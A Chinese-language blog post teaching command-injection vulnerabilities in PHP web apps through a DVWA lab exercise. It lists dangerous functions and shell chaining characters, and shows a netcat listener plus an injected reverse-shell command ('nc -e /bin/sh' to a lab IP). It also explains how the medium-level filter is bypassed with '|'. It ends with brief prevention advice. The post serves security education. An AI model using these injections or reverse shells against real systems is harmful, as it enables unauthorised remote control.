shacker_shen

导航

渗透测试之命令执行

一、命令执行介绍

  命令执行漏洞就是黑客可以直接在web应用中执行系统命令,从而获取敏感信息或者拿下shell权限。

二、命令执行原理

  由于代码过滤不严格导致用户提交的数据被解析执行而造成的漏洞。

三、命令执行类型

  1.系统命令执行漏洞:传入系统命令

   2.PHP代码执行漏洞:传入PHP代码

 

四、命令执行函数

  1.常用系统命令执行函数:

    system("")    

    exec("")

    passthru("")

    ``反引号与shell_exec()

    popen()

    proc_open()

    $env

   2.常用PHP代码执行函数:

    eval()    assert()  preg_repace()

   3.防御命令执行函数

    escapeshellarg()  escapeshellcmd()

   4.系统命令执行漏洞拼接符

    |        只执行第二个命令

    ||       先执行第一个命令若成功则继续执行第二个命令

    &      不管第二个命令是否执行成功都会执行第二个命令

    &&    必须两个命令都成功才执行

    ;      类似&

=========================================================================

 四、命令执行实验

  打开DVWA,设置security level:low

  正常用户操作应该如下:

 

   但是,由于开发的时候代码过滤不严谨,造成了黑客可以通过非法输入执行未授权命令。如下:

 

 

 

            通过命令拼接,我们可以执行OS命令,说明这里存在命令执行漏洞。

 

  漏洞利用,我们可以注入一个反向连接的命令。

  首先,使用netcat监听端口命令: nc -vv  -l -p 8080
  

 

   注入命令:nc -e /bin/sh 192.168.164.128 8080  地址为我们本机的地址

 

  

 

  看一下监听结果:

  成功连接,并且执行系统命令。

 

我们将security level设置为medium,然后发现它只是过滤了; && & ||这些命令拼接符,但并没有过滤 | 所以上面步骤仍然有效。

==================================================================================================

总结:

如何避免命令注入漏洞?

1)尽量不适用哪些比较危险的方法函数

2)执行命令之前一定要使用过滤且避免遗漏,可以设置白名单的方式。输入之前,严格分析。

 

 

 

posted on 2022-02-27 19:04  shacker_shen  阅读(665)  评论(0编辑  收藏  举报